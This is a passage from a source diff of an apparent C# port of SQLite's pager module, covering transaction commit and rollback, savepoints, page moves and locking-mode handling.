+ ** to change the content of the page. + */ +#if !NDEBUG + static bool sqlite3PagerIswriteable( DbPage pPg ) + { + return ( pPg.flags & PGHDR_DIRTY ) != 0; + } +#else +static bool sqlite3PagerIswriteable( DbPage pPg ) { return true; } +#endif + + /* +** A call to this routine tells the pager that it is not necessary to +** write the information on page pPg back to the disk, even though +** that page might be marked as dirty. This happens, for example, when +** the page has been added as a leaf of the freelist and so its +** content no longer matters. +** +** The overlying software layer calls this routine when all of the data +** on the given page is unused. The pager marks the page as clean so +** that it does not get written to disk. +** +** Tests show that this optimization can quadruple the speed of large +** DELETE operations. +*/ + static void sqlite3PagerDontWrite( PgHdr pPg ) + { + Pager pPager = pPg.pPager; + + if ( ( pPg.flags & PGHDR_DIRTY ) != 0 && pPager.nSavepoint == 0 ) + { + PAGERTRACE( "DONT_WRITE page %d of %d\n", pPg.pgno, PAGERID( pPager ) ); + IOTRACE( "CLEAN %p %d\n", pPager, pPg.pgno ); + pPg.flags |= PGHDR_DONT_WRITE; +#if SQLITE_CHECK_PAGES +pPg.pageHash = pager_pagehash(pPg); +#endif + } + } + + /* + ** This routine is called to increment the value of the database file + ** change-counter, stored as a 4-byte big-endian integer starting at + ** byte offset 24 of the pager file. + ** + ** If the isDirectMode flag is zero, then this is done by calling + ** sqlite3PagerWrite() on page 1, then modifying the contents of the + ** page data. In this case the file will be updated when the current + ** transaction is committed. + ** + ** The isDirectMode flag may only be non-zero if the library was compiled + ** with the SQLITE_ENABLE_ATOMIC_WRITE macro defined. In this case, + ** if isDirect is non-zero, then the database file is updated directly + ** by writing an updated version of page 1 using a call to the + ** sqlite3OsWrite() function. + */ + static int pager_incr_changecounter( Pager pPager, bool isDirectMode ) + { + int rc = SQLITE_OK; + + /* Declare and initialize constant integer 'isDirect'. If the + ** atomic-write optimization is enabled in this build, then isDirect + ** is initialized to the value passed as the isDirectMode parameter + ** to this function. Otherwise, it is always set to zero. + ** + ** The idea is that if the atomic-write optimization is not + ** enabled at compile time, the compiler can omit the tests of + ** 'isDirect' below, as well as the block enclosed in the + ** "if( isDirect )" condition. + */ +#if !SQLITE_ENABLE_ATOMIC_WRITE +//# define DIRECT_MODE 0 + bool DIRECT_MODE = false; + Debug.Assert( isDirectMode == false ); + UNUSED_PARAMETER( isDirectMode ); +#else +//# define DIRECT_MODE isDirectMode +int DIRECT_MODE = isDirectMode; +#endif + + Debug.Assert( pPager.state >= PAGER_RESERVED ); + if ( !pPager.changeCountDone && ALWAYS(pPager.dbSize > 0 )) + { + PgHdr pPgHdr = null; /* Reference to page 1 */ + u32 change_counter; /* Initial value of change-counter field */ + + Debug.Assert( !pPager.tempFile && isOpen( pPager.fd ) ); + + /* Open page 1 of the file for writing. */ + rc = sqlite3PagerGet( pPager, 1, ref pPgHdr ); + Debug.Assert( pPgHdr == null || rc == SQLITE_OK ); + + /* If page one was fetched successfully, and this function is not + ** operating in direct-mode, make page 1 writable. When not in + ** direct mode, page 1 is always held in cache and hence the PagerGet() + ** above is always successful - hence the ALWAYS on rc==SQLITE_OK. + */ + if ( !DIRECT_MODE && ALWAYS( rc == SQLITE_OK ) ) + { + rc = sqlite3PagerWrite( pPgHdr ); + } + + if ( rc == SQLITE_OK ) + { + /* Increment the value just read and write it back to byte 24. */ + change_counter = sqlite3Get4byte( pPager.dbFileVers ); + change_counter++; + put32bits( pPgHdr.pData, 24, change_counter ); + + /* If running in direct mode, write the contents of page 1 to the file. */ + if ( DIRECT_MODE ) + { + u8[] zBuf = pPgHdr.pData; + Debug.Assert( pPager.dbFileSize > 0 ); + rc = sqlite3OsWrite( pPager.fd, zBuf, pPager.pageSize, 0 ); + + if ( rc == SQLITE_OK ) + { + pPager.changeCountDone = true; + } + } + else + { + pPager.changeCountDone = true; + } + } + + /* Release the page reference. */ + sqlite3PagerUnref( pPgHdr ); + } + return rc; + } + + /* + ** Sync the pager file to disk. This is a no-op for in-memory files + ** or pages with the Pager.noSync flag set. + ** + ** If successful, or called on a pager for which it is a no-op, this + ** function returns SQLITE_OK. Otherwise, an IO error code is returned. + */ + static int sqlite3PagerSync( Pager pPager ) + { + int rc; /* Return code */ + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0 == MEMDB +#else +0 == pPager.memDb +#endif +); + if ( pPager.noSync ) + { + rc = SQLITE_OK; + } + else + { + rc = sqlite3OsSync( pPager.fd, pPager.sync_flags ); + } + return rc; + } + + /* + ** Sync the database file for the pager pPager. zMaster points to the name + ** of a master journal file that should be written into the individual + ** journal file. zMaster may be NULL, which is interpreted as no master + ** journal (a single database transaction). + ** + ** This routine ensures that: + ** + ** * The database file change-counter is updated, + ** * the journal is synced (unless the atomic-write optimization is used), + ** * all dirty pages are written to the database file, + ** * the database file is truncated (if required), and + ** * the database file synced. + ** + ** The only thing that remains to commit the transaction is to finalize + ** (delete, truncate or zero the first part of) the journal file (or + ** delete the master journal file if specified). + ** + ** Note that if zMaster==NULL, this does not overwrite a previous value + ** passed to an sqlite3PagerCommitPhaseOne() call. + ** + ** If the final parameter - noSync - is true, then the database file itself + ** is not synced. The caller must call sqlite3PagerSync() directly to + ** sync the database file before calling CommitPhaseTwo() to delete the + ** journal file in this case. + */ + static int sqlite3PagerCommitPhaseOne( + Pager pPager, /* Pager object */ + string zMaster, /* If not NULL, the master journal name */ + bool noSync /* True to omit the xSync on the db file */ + ) + { + int rc = SQLITE_OK; /* Return code */ + + /* The dbOrigSize is never set if journal_mode=OFF */ + Debug.Assert( pPager.journalMode != PAGER_JOURNALMODE_OFF || pPager.dbOrigSize == 0 ); + + /* If a prior error occurred, this routine should not be called. ROLLBACK + ** is the appropriate response to an error, not COMMIT. Guard against + ** coding errors by repeating the prior error. */ + if (NEVER(pPager.errCode) != 0) return pPager.errCode; + + PAGERTRACE( "DATABASE SYNC: File=%s zMaster=%s nSize=%d\n", + pPager.zFilename, zMaster, pPager.dbSize ); + + if ( +#if SQLITE_OMIT_MEMORYDB + 0 != MEMDB +#else + 0 != pPager.memDb +#endif + && pPager.dbModified ) + { + /* If this is an in-memory db, or no pages have been written to, or this + ** function has already been called, it is mostly a no-op. However, any + ** backup in progress needs to be restarted. + */ + sqlite3BackupRestart( pPager.pBackup ); + } + else if ( pPager.state != PAGER_SYNCED && pPager.dbModified ) + { + + /* The following block updates the change-counter. Exactly how it + ** does this depends on whether or not the atomic-update optimization + ** was enabled at compile time, and if this transaction meets the + ** runtime criteria to use the operation: + ** + ** * The file-system supports the atomic-write property for + ** blocks of size page-size, and + ** * This commit is not part of a multi-file transaction, and + ** * Exactly one page has been modified and store in the journal file. + ** + ** If the optimization was not enabled at compile time, then the + ** pager_incr_changecounter() function is called to update the change + ** counter in 'indirect-mode'. If the optimization is compiled in but + ** is not applicable to this transaction, call sqlite3JournalCreate() + ** to make sure the journal file has actually been created, then call + ** pager_incr_changecounter() to update the change-counter in indirect + ** mode. + ** + ** Otherwise, if the optimization is both enabled and applicable, + ** then call pager_incr_changecounter() to update the change-counter + ** in 'direct' mode. In this case the journal file will never be + ** created for this transaction. + */ +#if SQLITE_ENABLE_ATOMIC_WRITE +PgHdr *pPg; +Debug.Assert( isOpen(pPager.jfd) || pPager.journalMode==PAGER_JOURNALMODE_OFF ); +if( !zMaster && isOpen(pPager.jfd) +&& pPager.journalOff==jrnlBufferSize(pPager) +&& pPager.dbSize>=pPager.dbFileSize +&& (0==(pPg = sqlite3PcacheDirtyList(pPager.pPCache)) || 0==pPg.pDirty) +){ +/* Update the db file change counter via the direct-write method. The +** following call will modify the in-memory representation of page 1 +** to include the updated change counter and then write page 1 +** directly to the database file. Because of the atomic-write +** property of the host file-system, this is safe. +*/ +rc = pager_incr_changecounter(pPager, 1); +}else{ +rc = sqlite3JournalCreate(pPager.jfd); +if( rc==SQLITE_OK ){ +rc = pager_incr_changecounter(pPager, 0); +} +} +#else + rc = pager_incr_changecounter( pPager, false ); +#endif + if ( rc != SQLITE_OK ) goto commit_phase_one_exit; + + /* If this transaction has made the database smaller, then all pages + ** being discarded by the truncation must be written to the journal + ** file. This can only happen in auto-vacuum mode. + ** + ** Before reading the pages with page numbers larger than the + ** current value of Pager.dbSize, set dbSize back to the value + ** that it took at the start of the transaction. Otherwise, the + ** calls to sqlite3PagerGet() return zeroed pages instead of + ** reading data from the database file. + ** + ** When journal_mode==OFF the dbOrigSize is always zero, so this + ** block never runs if journal_mode=OFF. + */ +#if !SQLITE_OMIT_AUTOVACUUM + if ( pPager.dbSize < pPager.dbOrigSize + && ALWAYS(pPager.journalMode != PAGER_JOURNALMODE_OFF) + ) + { + Pgno i; /* Iterator variable */ + Pgno iSkip = PAGER_MJ_PGNO( pPager ); /* Pending lock page */ + Pgno dbSize = pPager.dbSize; /* Database image size */ + pPager.dbSize = pPager.dbOrigSize; + for ( i = dbSize + 1 ; i <= pPager.dbOrigSize ; i++ ) + { + if ( 0 == sqlite3BitvecTest( pPager.pInJournal, i ) && i != iSkip ) + { + PgHdr pPage = null; /* Page to journal */ + rc = sqlite3PagerGet( pPager, i, ref pPage ); + if ( rc != SQLITE_OK ) goto commit_phase_one_exit; + rc = sqlite3PagerWrite( pPage ); + sqlite3PagerUnref( pPage ); + if ( rc != SQLITE_OK ) goto commit_phase_one_exit; + } + } + pPager.dbSize = dbSize; + } +#endif + + /* Write the master journal name into the journal file. If a master +** journal file name has already been written to the journal file, +** or if zMaster is NULL (no master journal), then this call is a no-op. +*/ + rc = writeMasterJournal( pPager, zMaster ); + if ( rc != SQLITE_OK ) goto commit_phase_one_exit; + + /* Sync the journal file. If the atomic-update optimization is being + ** used, this call will not create the journal file or perform any + ** real IO. + */ + rc = syncJournal( pPager ); + if ( rc != SQLITE_OK ) goto commit_phase_one_exit; + + /* Write all dirty pages to the database file. */ + rc = pager_write_pagelist( sqlite3PcacheDirtyList( pPager.pPCache ) ); + if ( rc != SQLITE_OK ) + { + Debug.Assert( rc != SQLITE_IOERR_BLOCKED ); + goto commit_phase_one_exit; + } + sqlite3PcacheCleanAll( pPager.pPCache ); + + /* If the file on disk is not the same size as the database image, + ** then use pager_truncate to grow or shrink the file here. + */ + if ( pPager.dbSize != pPager.dbFileSize ) + { + Pgno nNew = (Pgno)( pPager.dbSize - ( pPager.dbSize == PAGER_MJ_PGNO( pPager ) ? 1 : 0 ) ); + Debug.Assert( pPager.state >= PAGER_EXCLUSIVE ); + rc = pager_truncate( pPager, nNew ); + if ( rc != SQLITE_OK ) goto commit_phase_one_exit; + } + + /* Finally, sync the database file. */ + if ( !pPager.noSync && !noSync ) + { + rc = sqlite3OsSync( pPager.fd, pPager.sync_flags ); + } + IOTRACE( "DBSYNC %p\n", pPager ); + pPager.state = PAGER_SYNCED; + } + +commit_phase_one_exit: + return rc; + } + + + /* + ** When this function is called, the database file has been completely + ** updated to reflect the changes made by the current transaction and + ** synced to disk. The journal file still exists in the file-system + ** though, and if a failure occurs at this point it will eventually + ** be used as a hot-journal and the current transaction rolled back. + ** + ** This function finalizes the journal file, either by deleting, + ** truncating or partially zeroing it, so that it cannot be used + ** for hot-journal rollback. Once this is done the transaction is + ** irrevocably committed. + ** + ** If an error occurs, an IO error code is returned and the pager + ** moves into the error state. Otherwise, SQLITE_OK is returned. + */ + static int sqlite3PagerCommitPhaseTwo( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + + /* This routine should not be called if a prior error has occurred. + ** But if (due to a coding error elsewhere in the system) it does get + ** called, just return the same error code without doing anything. */ + if (NEVER(pPager.errCode) != 0) return pPager.errCode; + + /* This function should not be called if the pager is not in at least + ** PAGER_RESERVED state. And indeed SQLite never does this. But it is + ** nice to have this defensive test here anyway. + */ + if ( NEVER( pPager.state < PAGER_RESERVED ) ) return SQLITE_ERROR; + + /* An optimization. If the database was not actually modified during + ** this transaction, the pager is running in exclusive-mode and is + ** using persistent journals, then this function is a no-op. + ** + ** The start of the journal file currently contains a single journal + ** header with the nRec field set to 0. If such a journal is used as + ** a hot-journal during hot-journal rollback, 0 changes will be made + ** to the database file. So there is no need to zero the journal + ** header. Since the pager is in exclusive mode, there is no need + ** to drop any locks either. + */ + if ( pPager.dbModified == false && pPager.exclusiveMode + && pPager.journalMode == PAGER_JOURNALMODE_PERSIST + ) + { + Debug.Assert( pPager.journalOff == JOURNAL_HDR_SZ( pPager ) ); + return SQLITE_OK; + } + PAGERTRACE( "COMMIT %d\n", PAGERID( pPager ) ); + Debug.Assert( pPager.state == PAGER_SYNCED || +#if SQLITE_OMIT_MEMORYDB + 1 == MEMDB +#else + 1 == pPager.memDb +#endif + || !pPager.dbModified ); + rc = pager_end_transaction( pPager, pPager.setMaster ); + return pager_error( pPager, rc ); + } + + /* + ** Rollback all changes. The database falls back to PAGER_SHARED mode. + ** + ** This function performs two tasks: + ** + ** 1) It rolls back the journal file, restoring all database file and + ** in-memory cache pages to the state they were in when the transaction + ** was opened, and + ** 2) It finalizes the journal file, so that it is not used for hot + ** rollback at any point in the future. + ** + ** subject to the following qualifications: + ** + ** * If the journal file is not yet open when this function is called, + ** then only (2) is performed. In this case there is no journal file + ** to roll back. + ** + ** * If in an error state other than SQLITE_FULL, then task (1) is + ** performed. If successful, task (2). Regardless of the outcome + ** of either, the error state error code is returned to the caller + ** (i.e. either SQLITE_IOERR or SQLITE_CORRUPT). + ** + ** * If the pager is in PAGER_RESERVED state, then attempt (1). Whether + ** or not (1) is succussful, also attempt (2). If successful, return + ** SQLITE_OK. Otherwise, enter the error state and return the first + ** error code encountered. + ** + ** In this case there is no chance that the database was written to. + ** So is safe to finalize the journal file even if the playback + ** (operation 1) failed. However the pager must enter the error state + ** as the contents of the in-memory cache are now suspect. + ** + ** * Finally, if in PAGER_EXCLUSIVE state, then attempt (1). Only + ** attempt (2) if (1) is successful. Return SQLITE_OK if successful, + ** otherwise enter the error state and return the error code from the + ** failing operation. + ** + ** In this case the database file may have been written to. So if the + ** playback operation did not succeed it would not be safe to finalize + ** the journal file. It needs to be left in the file-system so that + ** some other process can use it to restore the database state (by + ** hot-journal rollback). + */ + static int sqlite3PagerRollback( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + PAGERTRACE( "ROLLBACK %d\n", PAGERID( pPager ) ); + if ( !pPager.dbModified || !isOpen( pPager.jfd ) ) + { + rc = pager_end_transaction( pPager, pPager.setMaster ); + } + else if ( pPager.errCode != 0 && pPager.errCode != SQLITE_FULL ) + { + if ( pPager.state >= PAGER_EXCLUSIVE ) + { + pager_playback( pPager, 0 ); + } + rc = pPager.errCode; + } + else + { + if ( pPager.state == PAGER_RESERVED ) + { + int rc2; + rc = pager_playback( pPager, 0 ); + rc2 = pager_end_transaction( pPager, pPager.setMaster ); + if ( rc == SQLITE_OK ) + { + rc = rc2; + } + } + else + { + rc = pager_playback( pPager, 0 ); + } + + if ( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ) + { + pPager.dbSizeValid = false; + } + /* If an error occurs during a ROLLBACK, we can no longer trust the pager + ** cache. So call pager_error() on the way out to make any error + ** persistent. + */ + rc = pager_error( pPager, rc ); + } + return rc; + } + + /* + ** Return TRUE if the database file is opened read-only. Return FALSE + ** if the database is (in theory) writable. + */ + static bool sqlite3PagerIsreadonly( Pager pPager ) + { + return pPager.readOnly; + } + + /* + ** Return the number of references to the pager. + */ + static int sqlite3PagerRefcount( Pager pPager ) + { + return sqlite3PcacheRefCount( pPager.pPCache ); + } + + /* + ** Return the number of references to the specified page. + */ + static int sqlite3PagerPageRefcount( DbPage pPage ) + { + return sqlite3PcachePageRefcount( pPage ); + } + + +#if SQLITE_TEST + /* +** This routine is used for testing and analysis only. +*/ + static int[] sqlite3PagerStats( Pager pPager ) + { + int[] a = new int[11]; + a[0] = sqlite3PcacheRefCount( pPager.pPCache ); + a[1] = sqlite3PcachePagecount( pPager.pPCache ); + a[2] = sqlite3PcacheGetCachesize( pPager.pPCache ); + a[3] = pPager.dbSizeValid ? (int)pPager.dbSize : -1; + a[4] = pPager.state; + a[5] = pPager.errCode; + a[6] = pPager.nHit; + a[7] = pPager.nMiss; + a[8] = 0; /* Used to be pPager.nOvfl */ + a[9] = pPager.nRead; + a[10] = pPager.nWrite; + return a; + } +#endif + + /* +** Return true if this is an in-memory pager. +*/ + static bool sqlite3PagerIsMemdb( Pager pPager ) + { +#if SQLITE_OMIT_MEMORYDB + return MEMDB != 0; +#else + return pPager.memDb != 0; +#endif + } + + /* + ** Check that there are at least nSavepoint savepoints open. If there are + ** currently less than nSavepoints open, then open one or more savepoints + ** to make up the difference. If the number of savepoints is already + ** equal to nSavepoint, then this function is a no-op. + ** + ** If a memory allocation fails, SQLITE_NOMEM is returned. If an error + ** occurs while opening the sub-journal file, then an IO error code is + ** returned. Otherwise, SQLITE_OK. + */ + static int sqlite3PagerOpenSavepoint( Pager pPager, int nSavepoint ) + { + int rc = SQLITE_OK; /* Return code */ + int nCurrent = pPager.nSavepoint; /* Current number of savepoints */ + + if ( nSavepoint > nCurrent && pPager.useJournal != 0 ) + { + int ii; /* Iterator variable */ + PagerSavepoint[] aNew; /* New Pager.aSavepoint array */ + + /* Either there is no active journal or the sub-journal is open or + ** the journal is always stored in memory */ + Debug.Assert( pPager.nSavepoint == 0 || isOpen( pPager.sjfd ) || + pPager.journalMode == PAGER_JOURNALMODE_MEMORY ); + + /* Grow the Pager.aSavepoint array using realloc(). Return SQLITE_NOMEM + ** if the allocation fails. Otherwise, zero the new portion in case a + ** malloc failure occurs while populating it in the for(...) loop below. + */ + //aNew = (PagerSavepoint *)sqlite3Realloc( + // pPager->aSavepoint, sizeof(PagerSavepoint)*nSavepoint + //); + Array.Resize( ref pPager.aSavepoint, nSavepoint ); + aNew = pPager.aSavepoint; + //if( null==aNew ){ + // return SQLITE_NOMEM; + //} + // memset(&aNew[nCurrent], 0, (nSavepoint-nCurrent) * sizeof(PagerSavepoint)); + // pPager.aSavepoint = aNew; + pPager.nSavepoint = nSavepoint; + + /* Populate the PagerSavepoint structures just allocated. */ + for ( ii = nCurrent ; ii < nSavepoint ; ii++ ) + { + Debug.Assert( pPager.dbSizeValid ); + aNew[ii] = new PagerSavepoint(); + aNew[ii].nOrig = pPager.dbSize; + if ( isOpen( pPager.jfd ) && ALWAYS(pPager.journalOff > 0 )) + { + aNew[ii].iOffset = pPager.journalOff; + } + else + { + aNew[ii].iOffset = (int)JOURNAL_HDR_SZ( pPager ); + } + aNew[ii].iSubRec = pPager.nSubRec; + aNew[ii].pInSavepoint = sqlite3BitvecCreate( pPager.dbSize ); + if ( null == aNew[ii].pInSavepoint ) + { + return SQLITE_NOMEM; + } + } + + /* Open the sub-journal, if it is not already opened. */ + rc = openSubJournal( pPager ); + assertTruncateConstraint( pPager ); + } + + return rc; + } + + /* + ** This function is called to rollback or release (commit) a savepoint. + ** The savepoint to release or rollback need not be the most recently + ** created savepoint. + ** + ** Parameter op is always either SAVEPOINT_ROLLBACK or SAVEPOINT_RELEASE. + ** If it is SAVEPOINT_RELEASE, then release and destroy the savepoint with + ** index iSavepoint. If it is SAVEPOINT_ROLLBACK, then rollback all changes + ** that have occurred since the specified savepoint was created. + ** + ** The savepoint to rollback or release is identified by parameter + ** iSavepoint. A value of 0 means to operate on the outermost savepoint + ** (the first created). A value of (Pager.nSavepoint-1) means operate + ** on the most recently created savepoint. If iSavepoint is greater than + ** (Pager.nSavepoint-1), then this function is a no-op. + ** + ** If a negative value is passed to this function, then the current + ** transaction is rolled back. This is different to calling + ** sqlite3PagerRollback() because this function does not terminate + ** the transaction or unlock the database, it just restores the + ** contents of the database to its original state. + ** + ** In any case, all savepoints with an index greater than iSavepoint + ** are destroyed. If this is a release operation (op==SAVEPOINT_RELEASE), + ** then savepoint iSavepoint is also destroyed. + ** + ** This function may return SQLITE_NOMEM if a memory allocation fails, + ** or an IO error code if an IO error occurs while rolling back a + ** savepoint. If no errors occur, SQLITE_OK is returned. + */ + static int sqlite3PagerSavepoint( Pager pPager, int op, int iSavepoint ) + { + int rc = SQLITE_OK; + + Debug.Assert( op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK ); + Debug.Assert( iSavepoint >= 0 || op == SAVEPOINT_ROLLBACK ); + + if ( iSavepoint < pPager.nSavepoint ) + { + int ii; /* Iterator variable */ + int nNew; /* Number of remaining savepoints after this op. */ + + /* Figure out how many savepoints will still be active after this + ** operation. Store this value in nNew. Then free resources associated + ** with any savepoints that are destroyed by this operation. + */ + nNew = iSavepoint + ( ( op == SAVEPOINT_ROLLBACK ) ? 1 : 0 ); + for ( ii = nNew ; ii < pPager.nSavepoint ; ii++ ) + { + sqlite3BitvecDestroy( ref pPager.aSavepoint[ii].pInSavepoint ); + } + pPager.nSavepoint = nNew; + + /* If this is a rollback operation, playback the specified savepoint. + ** If this is a temp-file, it is possible that the journal file has + ** not yet been opened. In this case there have been no changes to + ** the database file, so the playback operation can be skipped. + */ + if ( op == SAVEPOINT_ROLLBACK && isOpen( pPager.jfd ) ) + { + PagerSavepoint pSavepoint = ( nNew == 0 ) ? null : pPager.aSavepoint[nNew - 1]; + rc = pagerPlaybackSavepoint( pPager, pSavepoint ); + Debug.Assert( rc != SQLITE_DONE ); + } + + /* If this is a release of the outermost savepoint, truncate + ** the sub-journal to zero bytes in size. */ + if ( nNew == 0 && op == SAVEPOINT_RELEASE && isOpen( pPager.sjfd ) ) + { + Debug.Assert( rc == SQLITE_OK ); + rc = sqlite3OsTruncate( pPager.sjfd, 0 ); + pPager.nSubRec = 0; + } + } + return rc; + } + + /* + ** Return the full pathname of the database file. + */ + static string sqlite3PagerFilename( Pager pPager ) + { + return pPager.zFilename; + } + + /* + ** Return the VFS structure for the pager. + */ + static sqlite3_vfs sqlite3PagerVfs( Pager pPager ) + { + return pPager.pVfs; + } + + /* + ** Return the file handle for the database file associated + ** with the pager. This might return NULL if the file has + ** not yet been opened. + */ + static sqlite3_file sqlite3PagerFile( Pager pPager ) + { + return pPager.fd; + } + + /* + ** Return the full pathname of the journal file. + */ + static string sqlite3PagerJournalname( Pager pPager ) + { + return pPager.zJournal; + } + + /* + ** Return true if fsync() calls are disabled for this pager. Return FALSE + ** if fsync()s are executed normally. + */ + static bool sqlite3PagerNosync( Pager pPager ) + { + return pPager.noSync; + } + +#if SQLITE_HAS_CODEC +/* +** Set or retrieve the codec for this pager +*/ +static void sqlite3PagerSetCodec( +Pager *pPager, +void *(*xCodec)(void*,void*,Pgno,int), +void (*xCodecSizeChng)(void*,int,int), +void (*xCodecFree)(void*), +void *pCodec +){ +if( pPager->xCodecFree ) pPager->xCodecFree(pPager->pCodec); +pPager->xCodec = xCodec; +pPager->xCodecSizeChng = xCodecSizeChng; +pPager->xCodecFree = xCodecFree; +pPager->pCodec = pCodec; +pagerReportSize(pPager); +} +static void *sqlite3PagerGetCodec(Pager *pPager){ +return pPager->pCodec; +} +#endif + +#if !SQLITE_OMIT_AUTOVACUUM + /* +** Move the page pPg to location pgno in the file. +** +** There must be no references to the page previously located at +** pgno (which we call pPgOld) though that page is allowed to be +** in cache. If the page previously located at pgno is not already +** in the rollback journal, it is not put there by by this routine. +** +** References to the page pPg remain valid. Updating any +** meta-data associated with pPg (i.e. data stored in the nExtra bytes +** allocated along with the page) is the responsibility of the caller. +** +** A transaction must be active when this routine is called. It used to be +** required that a statement transaction was not active, but this restriction +** has been removed (CREATE INDEX needs to move a page when a statement +** transaction is active). +** +** If the fourth argument, isCommit, is non-zero, then this page is being +** moved as part of a database reorganization just before the transaction +** is being committed. In this case, it is guaranteed that the database page +** pPg refers to will not be written to again within this transaction. +** +** This function may return SQLITE_NOMEM or an IO error code if an error +** occurs. Otherwise, it returns SQLITE_OK. +*/ + static int sqlite3PagerMovepage( Pager pPager, DbPage pPg, u32 pgno, int isCommit ) + { + PgHdr pPgOld; /* The page being overwritten. */ + u32 needSyncPgno = 0; /* Old value of pPg.pgno, if sync is required */ + int rc; /* Return code */ + Pgno origPgno; /* The original page number */ + + Debug.Assert( pPg.nRef > 0 ); + + /* If the page being moved is dirty and has not been saved by the latest + ** savepoint, then save the current contents of the page into the + ** sub-journal now. This is required to handle the following scenario: + ** + ** BEGIN; + ** + ** SAVEPOINT one; + ** + ** ROLLBACK TO one; + ** + ** If page X were not written to the sub-journal here, it would not + ** be possible to restore its contents when the "ROLLBACK TO one" + ** statement were is processed. + ** + ** subjournalPage() may need to allocate space to store pPg.pgno into + ** one or more savepoint bitvecs. This is the reason this function + ** may return SQLITE_NOMEM. + */ + if ( ( pPg.flags & PGHDR_DIRTY ) != 0 + && subjRequiresPage( pPg ) + && SQLITE_OK != ( rc = subjournalPage( pPg ) ) + ) + { + return rc; + } + + PAGERTRACE( "MOVE %d page %d (needSync=%d) moves to %d\n", + PAGERID( pPager ), pPg.pgno, ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ? 1 : 0, pgno ); + IOTRACE( "MOVE %p %d %d\n", pPager, pPg.pgno, pgno ); + + /* If the journal needs to be sync()ed before page pPg.pgno can + ** be written to, store pPg.pgno in local variable needSyncPgno. + ** + ** If the isCommit flag is set, there is no need to remember that + ** the journal needs to be sync()ed before database page pPg.pgno + ** can be written to. The caller has already promised not to write to it. + */ + if ( ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ) && 0 == isCommit ) + { + needSyncPgno = pPg.pgno; + Debug.Assert( pageInJournal( pPg ) || pPg.pgno > pPager.dbOrigSize ); + Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 ); + Debug.Assert( pPager.needSync ); + } + + /* If the cache contains a page with page-number pgno, remove it + ** from its hash chain. Also, if the PgHdr.needSync was set for + ** page pgno before the 'move' operation, it needs to be retained + ** for the page moved there. + */ + pPg.flags &= ~PGHDR_NEED_SYNC; + pPgOld = pager_lookup( pPager, pgno ); + Debug.Assert( null == pPgOld || pPgOld.nRef == 1 ); + if ( pPgOld != null ) + { + pPg.flags |= ( pPgOld.flags & PGHDR_NEED_SYNC ); + sqlite3PcacheDrop( pPgOld ); + } + + origPgno = pPg.pgno; + sqlite3PcacheMove( pPg, pgno ); + sqlite3PcacheMakeDirty( pPg ); + pPager.dbModified = true; + + if ( needSyncPgno != 0 ) + { + /* If needSyncPgno is non-zero, then the journal file needs to be + ** sync()ed before any data is written to database file page needSyncPgno. + ** Currently, no such page exists in the page-cache and the + ** "is journaled" bitvec flag has been set. This needs to be remedied by + ** loading the page into the pager-cache and setting the PgHdr.needSync + ** flag. + ** + ** If the attempt to load the page into the page-cache fails, (due + ** to a malloc() or IO failure), clear the bit in the pInJournal[] + ** array. Otherwise, if the page is loaded and written again in + ** this transaction, it may be written to the database file before + ** it is synced into the journal file. This way, it may end up in + ** the journal file twice, but that is not a problem. + ** + ** The sqlite3PagerGet() call may cause the journal to sync. So make + ** sure the Pager.needSync flag is set too. + */ + PgHdr pPgHdr = null; + Debug.Assert( pPager.needSync ); + rc = sqlite3PagerGet( pPager, needSyncPgno, ref pPgHdr ); + if ( rc != SQLITE_OK ) + { + if ( needSyncPgno <= pPager.dbOrigSize ) + { + Debug.Assert( pPager.pTmpSpace != null ); + u32[] pTemp = new u32[pPager.pTmpSpace.Length]; + sqlite3BitvecClear( pPager.pInJournal, needSyncPgno, pTemp );//pPager.pTmpSpace ); + } + return rc; + } + pPager.needSync = true; + Debug.Assert( pPager.noSync == false && +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + pPgHdr.flags |= PGHDR_NEED_SYNC; + sqlite3PcacheMakeDirty( pPgHdr ); + sqlite3PagerUnref( pPgHdr ); + } + + /* + ** For an in-memory database, make sure the original page continues + ** to exist, in case the transaction needs to roll back. We allocate + ** the page now, instead of at rollback, because we can better deal + ** with an out-of-memory error now. Ticket #3761. + */ + if ( +#if SQLITE_OMIT_MEMORYDB +MEMDB != 0 +#else + pPager.memDb != 0 +#endif + ) + { + DbPage pNew = null; + rc = sqlite3PagerAcquire( pPager, origPgno, ref pNew, 1 ); + if ( rc != SQLITE_OK ) + { + sqlite3PcacheMove( pPg, origPgno ); + return rc; + } + sqlite3PagerUnref( pNew ); + } + return SQLITE_OK; + } +#endif + + /* +** Return a pointer to the data for the specified page. +*/ + static byte[] sqlite3PagerGetData( DbPage pPg ) + { + Debug.Assert( pPg.nRef > 0 || pPg.pPager.memDb != 0 ); + return pPg.pData; + } + + /* + ** Return a pointer to the Pager.nExtra bytes of "extra" space + ** allocated along with the specified page. + */ + static MemPage sqlite3PagerGetExtra( DbPage pPg ) + { + return pPg.pExtra; + } + + /* + ** Get/set the locking-mode for this pager. Parameter eMode must be one + ** of PAGER_LOCKINGMODE_QUERY, PAGER_LOCKINGMODE_NORMAL or + ** PAGER_LOCKINGMODE_EXCLUSIVE. If the parameter is not _QUERY, then + ** the locking-mode is set to the value specified. + ** + ** The returned value is either PAGER_LOCKINGMODE_NORMAL or + ** PAGER_LOCKINGMODE_EXCLUSIVE, indicating the current (possibly updated) + ** locking-mode. + */ + static bool sqlite3PagerLockingMode( Pager pPager, int eMode ) + { + Debug.Assert( eMode == PAGER_LOCKINGMODE_QUERY + || eMode == PAGER_LOCKINGMODE_NORMAL + || eMode == PAGER_LOCKINGMODE_EXCLUSIVE ); + Debug.Assert( PAGER_LOCKINGMODE_QUERY < 0 ); + Debug.Assert( PAGER_LOCKINGMODE_NORMAL >= 0 && PAGER_LOCKINGMODE_EXCLUSIVE >= 0 ); + if ( eMode >= 0 && !pPager.tempFile ) + { + pPager.exclusiveMode = eMode != 0; + } + return pPager.exclusiveMode; + } + + /* + ** Get/set the journal-mode for this pager. Parameter eMode must be one of: + ** + ** PAGER_JOURNALMODE_QUERY + ** PAGER_JOURNALMODE_DELETE + ** PAGER_JOURNALMODE_TRUNCATE + ** 